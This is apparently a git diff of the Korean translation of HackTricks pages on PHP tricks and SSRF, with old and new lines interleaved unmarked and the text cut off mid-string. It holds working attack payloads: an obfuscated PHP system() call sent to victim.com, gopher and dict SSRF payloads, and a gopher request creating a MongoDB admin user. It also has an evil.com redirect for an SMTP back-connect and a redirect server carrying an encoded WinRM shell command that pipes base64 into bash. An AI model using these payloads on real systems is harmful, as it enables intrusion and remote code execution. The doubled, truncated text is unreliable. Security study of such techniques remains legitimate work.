lt;>/'^'{{{{'; --> _GET` `${$_}[_](${$_}[__]); --> $_GET[_]($_GET[__])` `So, the function is inside $_GET[_] and the parameter is inside $_GET[__]` http --form POST "http://victim.com/index.php?_=system&__=$CMD" "input=$CODE"
```
### Perl과 유사
### Perl 같이
```php
<?php
$_=[];
@ -425,14 +433,14 @@ $___($_[_]); // ASSERT($_POST[_]);
<details>
<summary><strong>영웨이 에스더블유에스 해킹을 제로부터 히어로로 배우세요</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>제로부터 영웅이 될 때까지 AWS 해킹 배우기</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
다른 방법으로 HackTricks를 지원하는 방법:
HackTricks를 지원하는 다른 방법:
* **회사가 HackTricks에 광고되길 원하거나 HackTricks를 PDF로 다운로드하길 원한다면** [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구하세요
* **회사가 HackTricks에 광고되길 원하거나** **PDF로 HackTricks 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구하세요
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
* **💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f)이나 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나** 트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
* **해킹 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f)에 가입하거나 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나** 트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
* **해킹 트릭을 공유하려면 PR을 제출하여** [**HackTricks**](https://github.com/carlospolop/hacktricks) **** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **깃허브 저장소에 기여하세요.**
</details>

View file

@ -2,21 +2,21 @@
<details>
<summary><strong>htARTE (HackTricks AWS Red Team 전문가)로부터 AWS 해킹을 처음부터 전문가까지 배우세요!</strong></summary>
<summary><strong>제로부터 영웅이 될 때까지 AWS 해킹을 배우세요</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team 전문가)</strong></a><strong>!</strong></summary>
다른 방법으로 HackTricks를 지원하는 방법:
HackTricks를 지원하는 다른 방법:
* **회사가 HackTricks에 광고되길 원하거나 HackTricks를 PDF로 다운로드하고 싶다면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
* **회사가 HackTricks에 광고되길 원하거나 HackTricks를 PDF로 다운로드**하고 싶다면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
* [**공식 PEASS & HackTricks 굿즈**](https://peass.creator-spring.com)를 구매하세요
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
* **💬** [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [텔레그램 그룹](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live) **팔로우**하세요.
* **해킹 트릭을 공유하려면 PR을 제출하여** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 제출하세요.
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f)이나 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)에서 **팔로우**하세요.
* **해킹 트릭을 공유하려면 PR을** [**HackTricks**](https://github.com/carlospolop/hacktricks) **** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **깃허브 저장소에 제출하세요.**
</details>
**Try Hard Security Group**
<figure><img src="https://github.com/carlospolop/hacktricks/blob/kr/network-services-pentesting/pentesting-web/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
@ -24,19 +24,30 @@
### SSRF PHP 함수
일부 함수인 \*\*file\_get\_contents(), fopen(), file(), md5\_file()\*\*은 입력으로 URL을 허용하며, 사용자가 데이터를 제어할 수 있다면 **가능한 SSRF 취약점**을 만들 수 있습니다:
**file\_get\_contents(), fopen(), file(), md5\_file()**와 같은 일부 함수는 URL을 입력으로 받아들이며, 사용자가 데이터를 제어할 수 있다면 **가능한 SSRF 취약점**을 발생시킬 수 있습니다:
```php
file_get_contents("http://127.0.0.1:8081");
fopen("http://127.0.0.1:8081", "r");
file("http://127.0.0.1:8081");
md5_file("http://127.0.0.1:8081");
```
### 워드프레스 SSRF를 통한 DNS Rebinding
[**이 블로그 포스트에서 설명된 것**](https://patchstack.com/articles/exploring-the-unpatched-wordpress-ssrf)과 같이 워드프레스 함수 **`wp_safe_remote_get`**도 DNS rebinding에 취약하여 SSRF 공격에 취약할 수 있습니다. 호출하는 주요 유효성 검사는 **wp\_http\_validate\_ur**l이며, 이는 프로토콜이 `http://` 또는 `https://`이고 포트가 **80**, **443**, **8080** 중 하나인지 확인하지만 **DNS rebinding에 취약**합니다.
포스트에 따르면 다른 취약한 함수는 다음과 같습니다:
* `wp_safe_remote_request()`
* `wp_safe_remote_post()`
* `wp_safe_remote_head()`
* `WP_REST_URL_Details_Controller::get_remote_url()`
* `download_url()`
* `wp_remote_fopen()`
* `WP_oEmbed::discover()`
### CRLF
또한, 이전 함수들의 CRLF "취약점"을 통해 임의의 헤더를 전송하는 것이 가능할 수도 있습니다:
게다가, 이전 함수들의 CRLF "취약점"을 통해 임의의 헤더를 전송할 수도 있습니다.
```php
# The following will create a header called from with value Hi and
# an extra header "Injected: I HAVE IT"
@ -51,13 +62,11 @@ Connection: close
# Any of the previously mentioned functions will send those headers
```
{% hint style="warning" %}
해당 CRLF 취약점에 대한 자세한 정보는 다음 버그를 확인하십시오 [https://bugs.php.net/bug.php?id=81680\&edit=1](https://bugs.php.net/bug.php?id=81680\&edit=1)
더 많은 정보를 원하시면 CRLF 취약점에 대해 이 버그를 확인하세요 [https://bugs.php.net/bug.php?id=81680\&edit=1](https://bugs.php.net/bug.php?id=81680\&edit=1)
{% endhint %}
이 함수들은 요청에서 임의의 헤더를 설정하는 다른 방법을 가질 수 있습니다.
```php
$url = "";
@ -73,23 +82,22 @@ $options = array(
$context = stream_context_create($options);
$file = file_get_contents($url, false, $context);
```
**트라이 하드 보안 그룹**
**Try Hard Security Group**
<figure><img src="https://github.com/carlospolop/hacktricks/blob/kr/network-services-pentesting/pentesting-web/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
<details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)를 통해 제로부터 영웅이 되는 AWS 해킹을 배우세요</strong></summary>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)를 통해 제로부터 히어로까지 AWS 해킹 배우기</strong></summary>
HackTricks를 지원하는 다른 방법:
* **회사가 HackTricks에 광고되기를 원하거나 HackTricks를 PDF로 다운로드하려면** [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
* **회사가 HackTricks에 광고되길 원하거나 HackTricks를 PDF로 다운로드하길 원한다면** [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)를 **팔로우**하세요.
* 해킹 트릭을 공유하려면 [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
* **HackTricks****HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
</details>

View file

@ -1,34 +1,34 @@
# SSRF (서버 측 요청 위조)
# SSRF (Server Side Request Forgery)
<figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\
[**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=ssrf-server-side-request-forgery)를 사용하여 세계에서 가장 **고급** 커뮤니티 도구를 활용한 **워크플로우를 쉽게 구축**하고 **자동화**하세요.\
[**Trickest**](https://trickest.com/?utm\_source=hacktricks\&utm\_medium=text\&utm\_campaign=ppc\&utm\_term=trickest\&utm\_content=ssrf-server-side-request-forgery)를 사용하여 세계에서 가장 **고급** 커뮤니티 도구를 활용한 **워크플로우를 쉽게 구축**하고 **자동화**하세요.\
오늘 바로 액세스하세요:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=ssrf-server-side-request-forgery" %}
<details>
<summary><strong>제로부터 영웅이 될 때까지 AWS 해킹을 배우세요</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team 전문가)</strong></a><strong>와 함께!</strong></summary>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 **제로부터 히어로까지 AWS 해킹을 배우세요**!</summary>
HackTricks를 지원하는 다른 방법:
* **회사가 HackTricks를 광고하길 원하거나** **PDF로 HackTricks를 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
* [**PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
* **💬 [Discord 그룹](https://discord.gg/hRep4RUj7f)** 또는 [텔레그램 그룹](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**를 팔로우**하세요.
* **HackTricks****HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 얻으세요
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
* **💬 [Discord 그룹](https://discord.gg/hRep4RUj7f)** 또는 [텔레그램 그룹](https://t.me/peass)에 **가입**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
* **HackTricks****HackTricks Cloud** github 저장소로 **PR을 제출**하여 **해킹 트릭을 공유**하세요.
</details>
## 기본 정보
**서버 측 요청 위조 (SSRF)** 취약점은 공격자가 **서버 측 응용 프로그램**을 조작하여 **원하는 도메인으로 HTTP 요청을 보내도록** 하는 경우 발생합니다. 이 취약점은 공격자가 지시하는 임의의 외부 요청을 서버에 노출시킵니다.
**서버 측 요청 위조 (SSRF)** 취약점은 공격자가 **서버 측 응용 프로그램**을 조작하여 공격자가 선택한 도메인으로 **HTTP 요청**을 수행하도록 하는 경우 발생합니다. 이 취약점은 공격자가 지시한 임의의 외부 요청을 서버에 노출시킵니다.
## SSRF 캡처
할 일은 **당신이 생성한 SSRF 상호 작용을 캡처**하는 것입니다. HTTP 또는 DNS 상호 작용을 캡처하려면 다음과 같은 도구를 사용할 수 있습니다:
먼저 수행한 SSRF 상호 작용을 캡처해야 합니다. HTTP 또는 DNS 상호 작용을 캡처하려면 다음과 같은 도구를 사용할 수 있습니다:
* **Burp Collaborator**
* [**pingb**](http://pingb.in)
@ -42,7 +42,7 @@ HackTricks를 지원하는 다른 방법:
## 화이트리스트된 도메인 우회
보통 SSRF가 **특정 화이트리스트된 도메인**이나 URL에서만 작동하는 것을 발견할 것입니다. 다음 페이지에서는 화이트리스트를 우회하기 위한 **기술 모음**을 제공합니다:
보통 SSRF가 **특정 화이트리스트된 도메인**이나 URL에서만 작동하는 것을 발견할 것입니다. 다음 페이지에서는 해당 화이트리스트를 우회하기 위한 **기술 모음**을 제공합니다:
{% content-ref url="url-format-bypass.md" %}
[url-format-bypass.md](url-format-bypass.md)
@ -50,7 +50,7 @@ HackTricks를 지원하는 다른 방법:
### 오픈 리디렉트를 통한 우회
서버가 올바르게 보호되어 있다면 웹 페이지 내부의 **오픈 리디렉트를 용하여 모든 제한을 우회**할 수 있습니다. 웹 페이지는 **동일한 도메인으로의 SSRF를 허용**하고 아마도 **리디렉트를 따를 것**이므로 **내부 리소스에 액세스하도록 서버를 만들기 위해 오픈 리디렉트를 악용**할 수 있습니다.\
서버가 올바르게 보호되어 있다면 웹 페이지 내부의 **오픈 리디렉트를 용하여 모든 제한을 우회**할 수 있습니다. 웹 페이지는 **동일한 도메인으로의 SSRF를 허용**하고 아마도 **리디렉트를 따를 것**이므로 **내부 리소스에 액세스하도록 서버를 만들기 위해 오픈 리디렉트를 악용**할 수 있습니다.\
자세한 내용은 여기를 참조하세요: [https://portswigger.net/web-security/ssrf](https://portswigger.net/web-security/ssrf)
## 프로토콜
@ -58,15 +58,15 @@ HackTricks를 지원하는 다른 방법:
* **file://**
* URL scheme `file://``/etc/passwd`를 직접 가리킵니다: `file:///etc/passwd`
* **dict://**
* DICT URL scheme은 DICT 프로토콜을 통해 정의 또는 단어 목록에 액세스하는 데 사용된다고 설명됩니다. 특정 단어, 데이터베이스 및 항목 번호를 대상으로 하는 구성된 URL 및 PHP 스크립트의 잘못된 사용 사례가 제시되었습니다: `dict://<generic_user>;<auth>@<generic_host>:<port>/d:<word>:<database>:<n>`
* DICT URL scheme은 DICT 프로토콜을 통해 정의 또는 단어 목록에 액세스하는 데 사용된다. 특정 단어, 데이터베이스 및 항목 번호를 대상으로 하는 구성된 URL 및 PHP 스크립트가 공격자가 제공한 자격 증명을 사용하여 DICT 서버에 연결하는 데 잘못 사용될 수 있는 예가 제공됩니다: `dict://<generic_user>;<auth>@<generic_host>:<port>/d:<word>:<database>:<n>`
* **SFTP://**
* 안전한 파일 전송을 위한 프로토콜로 식별되며, PHP 스크립트가 악의적인 SFTP 서버에 연결하는 방법을 보여주는 예가 제공됩니다: `url=sftp://generic.com:11111/`
* 안전한 파일 전송을 위한 프로토콜로 식별되며, PHP 스크립트가 악의적인 SFTP 서버에 연결하는 방법을 보여주는 예가 제공됩니다: `url=sftp://generic.com:11111/`
* **TFTP://**
* UDP 상에서 작동하는 Trivial File Transfer Protocol은 PHP 스크립트가 TFTP 서버 요청을 보내도록 설계된 예제로 언급됩니다. 'generic.com'의 '12346' 포트로 'TESTUDPPACKET' 파일에 대한 TFTP 요청이 수행됩니다: `ssrf.php?url=tftp://generic.com:12346/TESTUDPPACKET`
* UDP 상에서 작동하는 Trivial File Transfer Protocol은 PHP 스크립트가 TFTP 서버 요청을 보내도록 설계된 예제로 언급됩니다. 'generic.com'의 '12346' 포트로 'TESTUDPPACKET' 파일에 대한 TFTP 요청이 수행됩니다: `ssrf.php?url=tftp://generic.com:12346/TESTUDPPACKET`
* **LDAP://**
* 이 세그먼트는 IP 네트워크 상에서 분산 디렉터리 정보 서비스를 관리하고 액세스하는 데 사용되는 경량 디렉터리 액세스 프로토콜을 다루며, 로컬호스트의 LDAP 서버와 상호 작용하는 방법을 강조합니다: `'%0astats%0aquit' via ssrf.php?url=ldap://localhost:11211/%0astats%0aquit.`
* 이 세그먼트는 IP 네트워크 상에서 분산 디렉터리 정보 서비스를 관리하고 액세스하는 데 사용되는 경량 디렉터리 액세스 프로토콜을 다룹니다. 로컬호스트의 LDAP 서버와 상호 작용: `'%0astats%0aquit' via ssrf.php?url=ldap://localhost:11211/%0astats%0aquit.`
* **SMTP**
* SSRF 취약점을 악용하여 로컬호스트의 SMTP 서비스와 상호 작용하는 방법이 설명되어 있으며, 내부 도메인 이름을 공개하고 해당 정보를 기반으로 추가 조사 조치를 취하는 단계가 포함되어 있습니다.
* SSRF 취약점을 악용하여 로컬호스트의 SMTP 서비스와 상호 작용하는 방법이 설명되며, 내부 도메인 이름을 공개하고 해당 정보를 기반으로 추가 조사 조치를 취하는 단계가 포함니다.
```
From https://twitter.com/har1sec/status/1182255952055164929
1. connect with SSRF on smtp localhost:25
@ -75,12 +75,12 @@ From https://twitter.com/har1sec/status/1182255952055164929
4. connect
```
* **Curl URL globbing - WAF 우회**
* 만약 SSRF가 **curl**에 의해 실행된다면, curl은 [**URL globbing**](https://everything.curl.dev/cmdline/globbing)이라는 기능을 가지고 있는데, 이는 WAF를 우회하는 데 유용할 수 있습니다. 예를 들어, 이 [**writeup**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-easylfi)에서 **`file` 프로토콜을 통한 경로 순회**의 예제를 찾을 수 있습니다.
* 만약 SSRF가 **curl**에 의해 실행된다면, curl은 [**URL globbing**](https://everything.curl.dev/cmdline/globbing)이라는 기능을 가지고 있는데 이는 WAF를 우회하는 데 유용할 수 있습니다. 예를 들어, 이 [**writeup**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-easylfi)에서 **`file` 프로토콜을 통한 경로 순회** 예제를 찾을 수 있습니다:
```
file:///app/public/{.}./{.}./{app/public/hello.html,flag.txt}
```
* **Gopher://**
* Gopher 프로토콜의 IP, 포트 및 바이트를 지정하여 서버 통신을 할 수 있는 능력에 대해 설명하고, Gopherus 및 remote-method-guesser와 같은 툴을 사용하여 페이로드를 작성하는 방법을 다룹니다. 두 가지 다른 사용 방법이 설명됩니다:
* Gopher 프로토콜의 IP, 포트 및 바이트를 지정하여 서버 통신을 할 수 있는 능력에 대해 설명하며, Gopherus 및 원격 메서드 추측기와 같은 툴을 사용하여 페이로드를 작성하는 방법을 다룹니다. 두 가지 다른 용도가 설명됩니다:
### Gopher://
@ -108,7 +108,7 @@ QUIT
gopher://<server>:8080/_GET / HTTP/1.0%0A%0A
gopher://<server>:8080/_POST%20/x%20HTTP/1.0%0ACookie: eatme%0A%0AI+am+a+post+body
```
**Gopher SMTP — 1337에 백 커넥션 연결**
**Gopher SMTP — 1337에 백 커넥**
{% code title="redirect.php" %}
```php
@ -119,7 +119,7 @@ https://example.com/?q=http://evil.com/redirect.php.
```
{% endcode %}
#### Gopher MongoDB -- 사용자를 만들어 username=admin, password=admin123 및 권한=관리자로 설정
#### Gopher MongoDB -- 사용자를 username=admin, password=admin123 및 permission=administrator으로 생성
```bash
# Check: https://brycec.me/posts/dicectf_2023_challenges#unfinished
curl 'gopher://0.0.0.0:27017/_%a0%00%00%00%00%00%00%00%00%00%00%00%dd%0
@ -130,11 +130,11 @@ curl 'gopher://0.0.0.0:27017/_%a0%00%00%00%00%00%00%00%00%00%00%00%dd%0
```
## Referrer 헤더 및 기타를 통한 SSRF
서버의 분석 소프트웨어는 종종 Referrer 헤더를 기록하여 들어오는 링크를 추적하는데, 이는 애플리케이션을 SSRF 취약점에 노출시키는 실수를 일으킬 수 있습니다. 이는 이러한 소프트웨어가 Referrer 헤더에 언급된 외부 URL을 방문하여 추천 사이트 콘텐츠를 분석할 수 있기 때문입니다. 이러한 취약점을 발견하기 위해 Burp Suite 플러그인 "**Collaborator Everywhere**"를 용하는 것이 좋으며, 이는 분석 도구가 Referer 헤더를 처리하는 방식을 활용하여 잠재적인 SSRF 공격 표면을 식별합니다.
서버의 분석 소프트웨어는 종종 Referrer 헤더를 기록하여 들어오는 링크를 추적하는데, 이는 애플리케이션을 SSRF 취약점에 노출시키는 실수를 일으킬 수 있습니다. 이는 이러한 소프트웨어가 Referrer 헤더에 언급된 외부 URL을 방문하여 추천 사이트 콘텐츠를 분석할 수 있기 때문입니다. 이러한 취약점을 발견하기 위해 Burp Suite 플러그인 "**Collaborator Everywhere**"를 용하는 것이 좋으며, 이는 분석 도구가 Referer 헤더를 처리하는 방식을 활용하여 잠재적인 SSRF 공격 표면을 식별합니다.
## 인증서에서 SNI 데이터를 통한 SSRF
어떤 백엔드에도 연결할 수 있는 구성 오류는 다음과 같은 Nginx 구성 예제로 설명됩니다:
어떤 백엔드에 대한 연결을 가능하게 하는 잘못된 구성은 다음과 같은 Nginx 구성 예제로 설명됩니다:
```
stream {
server {
@ -145,7 +145,7 @@ ssl_preread on;
}
}
```
구성에서는 Server Name Indication (SNI) 필드의 값이 백엔드 주소로 직접 사용됩니다. 이 설정은 Server-Side Request Forgery (SSRF) 취약점을 노출시키며, 단순히 SNI 필드에 원하는 IP 주소 또는 도메인 이름을 지정하여 악용할 수 있습니다. `openssl` 명령을 사용하여 `internal.host.com`과 같은 임의의 백엔드에 연결을 강제하는 악용 예가 아래에 제공됩니다:
다음 구성에서는 Server Name Indication (SNI) 필드의 값이 백엔드 주소로 직접 사용됩니다. 이 설정은 Server-Side Request Forgery (SSRF) 취약점을 노출시키며, 단순히 SNI 필드에 원하는 IP 주소 또는 도메인 이름을 지정하여 악용할 수 있습니다. `openssl` 명령을 사용하여 `internal.host.com`과 같은 임의의 백엔드에 연결을 강제하는 악용 예가 아래에 제공됩니다:
```bash
openssl s_client -connect target.com:443 -servername "internal.host.com" -crlf
```
@ -157,21 +157,23 @@ openssl s_client -connect target.com:443 -servername "internal.host.com" -crlf
## PDF 렌더링
웹 페이지가 제공한 정보로 PDF를 자동으로 생성하는 경우, PDF 생성(서버)에서 실행될 JS를 삽입할 수 있으며, PDF를 생성하는 동안 SSRF를 악용할 수 있습니다. [**여기에서 자세한 정보를 확인하세요**](../xss-cross-site-scripting/server-side-xss-dynamic-pdf.md)**.**
웹 페이지가 제공한 정보로 PDF를 자동으로 생성하는 경우, PDF 생성(서버)에서 실행될 JS를 삽입할 수 있으며, PDF를 생성하는 동안 SSRF를 악용할 수 있습니다. [**더 많은 정보는 여기에서 확인하세요**](../xss-cross-site-scripting/server-side-xss-dynamic-pdf.md)**.**
## SSRF에서 DoS로
여러 세션을 생성하고 세션에서 SSRF를 이용하여 무거운 파일을 다운로드하려고 시도합니다.
여러 세션을 생성하고 세션에서 SSRF를 이용하여 무거운 파일을 다운로드하려고 시도하세요.
## SSRF PHP 함수
취약한 PHP 및 심지어 워드프레스 함수를 확인하려면 다음 페이지를 확인하세요:
{% content-ref url="../../network-services-pentesting/pentesting-web/php-tricks-esp/php-ssrf.md" %}
[php-ssrf.md](../../network-services-pentesting/pentesting-web/php-tricks-esp/php-ssrf.md)
{% endcontent-ref %}
## Gopher로의 SSRF 리디렉션
일부 악용에서 **리디렉트 응답을 보내야 할 수도 있습니다** (다른 프로토콜인 gopher를 사용할 수도 있음). 여기에서 리디렉트 응답을 보내기 위한 다양한 파이썬 코드가 제공됩니다:
일부 악용을 위해 **리디렉트 응답을 보내야 할 수도 있습니다** (다른 프로토콜인 gopher를 사용할 가능성이 있음). 여기에 리디렉트로 응답하는 다양한 파이썬 코드가 있습니다:
```python
# First run: openssl req -new -x509 -keyout server.pem -out server.pem -days 365 -nodes
from http.server import HTTPServer, BaseHTTPRequestHandler
@ -182,33 +184,7 @@ def do_GET(self):
print("GET")
self.send_response(301)
```html
<details>
<summary>Click to expand</summary>
<p>Header</p>
<p>Method</p>
<a>To</a>HTTP://192.168.1.1:5986/wsmans/
<w:ResourceURI s:mustUnderstand="true">http://schemas.xmlsoap.org/ws/2004/08/addressing</w:ResourceURI>
<a:ReplyTo>
<a:Address s:mustUnderstand="true">http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous</a:Address>
</a:ReplyTo>
<a:Action>http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous/ExecuteShellCommand</a:Action>
<w:MaxEnvelopeSize s:mustUnderstand="true">10240</w:MaxEnvelopeSize>
<a:MessageID>uuid:0AB58087-C2C3-0005-0000-00000010000</a:MessageID>
<w:OperationTimeout>PT1M30S</w:OperationTimeout>
<w:Locale xml:lang="en-us" s:mustUnderstand="false" />
<p:DataLocale xml:lang="en-us" s:mustUnderstand="false" />
<w:OptionSet s:mustUnderstand="true" />
<w:SelectorSet>
<w:Selector Name="__cimnamespace">root/scx</w:Selector>
</w:SelectorSet>
<p>Body</p>
<p>ExecuteShellCommand_INPUText</p>
<p:Command>echo -n YmFzaCAtZCB8IGJhc2g= | base64 -d | bash</p:Command>
<p:Timeout>0</p:Timeout>
</p:ExecuteShellCommand_INPUT>
</p:Body>
</details>
```
self.send_header("Location", "gopher://127.0.0.1:5985/_%50%4f%53%54%20%2f%77%73%6d%61%6e%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20%31%30%2e%31%30%2e%31%31%2e%31%31%37%3a%35%39%38%36%0d%0a%55%73%65%72%2d%41%67%65%6e%74%3a%20%70%79%74%68%6f%6e%2d%72%65%71%75%65%73%74%73%2f%32%2e%32%35%2e%31%0d%0a%41%63%63%65%70%74%2d%45%6e%63%6f%64%69%6e%67%3a%20%67%7a%69%70%2c%20%64%65%66%6c%61%74%65%0d%0a%41%63%63%65%70%74%3a%20%2a%2f%2a%0d%0a%43%6f%6e%6e%65%63%74%69%6f%6e%3a%20%63%6c%6f%73%65%0d%0a%43%6f%6e%74%65%6e%74%2d%54%79%70%65%3a%20%61%70%70%6c%69%63%61%74%69%6f%6e%2f%73%6f%61%70%2b%78%6d%6c%3b%63%68%61%72%73%65%74%3d%55%54%46%2d%38%0d%0a%43%6f%6e%74%65%6e%74%2d%4c%65%6e%67%74%68%3a%20%31%37%32%38%0d%0a%0d%0a%3c%73%3a%45%6e%76%65%6c%6f%70%65%20%78%6d%6c%6e%6f%3a%73%3d%22%68%74%74%70%3a%2f%2f%77%77%77%2e%77%33%2e%6f%72%67%2f%32%30%30%33%2f%30%35%2f%73%6f%61%70%2d%65%6e%76%65%6c%6f%70%65%22%20%78%6d%6c%6e%6f%3a%61%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%38%2f%61%64%64%72%65%73%73%69%6e%67%22%20%78%6d%6c%6e%6f%3a%68%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%6d%69%63%72%6f%73%6f%66%74%2e%63%6f%6d%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%69%6e%64%6f%77%73%2f%73%68%65%6c%6c%22%20%78%6d%6c%6e%6f%3a%6e%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%39%2f%65%6e%75%6d%65%72%61%74%69%6f%6e%22%20%78%6d%6c%6e%6f%3a%70%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%6d%69%63%72%6f%73%6f%66%74%2e%63%6f%6d%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%73%6d%61%6e%2e%78%73%64%22%20%78%6d%6c%6e%6f%3a%77%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%73%6d%61%6e%2e%78%73%64%22%20%78%6d%6c%6e%6f%3a%78%73%69%3d%22%68%74%74%70%3a%2f%2f%77%77%77%2e%77%33%2e%6f%72%67%2f%32%30%30%31%2f%58%4d%4c%53%63%68%65%6d%61%22%3e%0a%20%20%20%3c%73%3a%48%65%61%64%65%72%3e%0a%20%20%20%20%20%20%3c%61%3a%54%6f%3e%48%54%54%50%3a%2f%2f%31%39%32%2e%31%36%38%2e%31%2e%31%3a%35%39%38%36%2f%77%73%6d%61%6e%2f%3c%2f%61%3a%54%6f%3e%0a%20%20%20%20%20%20%3c%77%3a%52%65%73%6f%75%72%63%65%55%52%49%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%3c%2f%77%3a%52%65%73%6